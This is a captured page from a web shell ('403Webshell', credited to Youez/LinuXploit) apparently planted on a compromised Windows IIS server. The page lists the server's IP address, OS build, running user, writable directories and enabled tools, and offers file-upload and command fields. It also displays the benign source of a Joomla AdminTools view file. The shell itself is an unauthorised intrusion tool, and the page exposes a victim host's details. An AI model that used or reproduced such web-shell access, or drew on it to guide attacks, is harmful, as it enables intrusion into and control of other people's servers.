403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/rescommittee/administrator/components/com_admintools/views/adminuser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/rescommittee/administrator/components/com_admintools/views/adminuser/view.html.php
<?php
/**
 *  @package AdminTools
 *  @copyright Copyright (c)2010-2013 Nicholas K. Dionysopoulos
 *  @license GNU General Public License version 3, or later
 *  @version $Id$
 */

// Protect from unauthorized access
defined('_JEXEC') or die();

class AdmintoolsViewAdminuser extends FOFViewHtml
{
	private function randomFalseUsername()
	{
		$usernames = array(
			'42', 'clinteastwood', 'chucknorris', 'rantanplan', 'pinky',
			'brain', 'beavis', 'tux', 'larry', 'stevenseagal',
			'jeanclaudevandamme', 'jackiechan'
		);
		
		$id = 42;
		
		$dontadd = JFactory::getUser($id)->username;
		
		$ret = $dontadd;
		
		while($ret == $dontadd) {
			$rand = rand(0, count($usernames) - 1);
			$ret = $usernames[$rand];
		}
		
		return $ret;
	}
	
	protected function onBrowse($tpl = null)
	{
		$model = $this->getModel();
		$this->assign('hasDefaultAdmin',		$model->hasDefaultAdmin());
		$this->assign('getDefaultUsername',		$model->getDefaultUsername());
		$this->assign('fakeUsername',			$this->randomFalseUsername());
		
		if(version_compare(JVERSION, '3.0', 'ge')) {
			JHTML::_('behavior.framework');
		} else {
			JHTML::_('behavior.mootools');
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit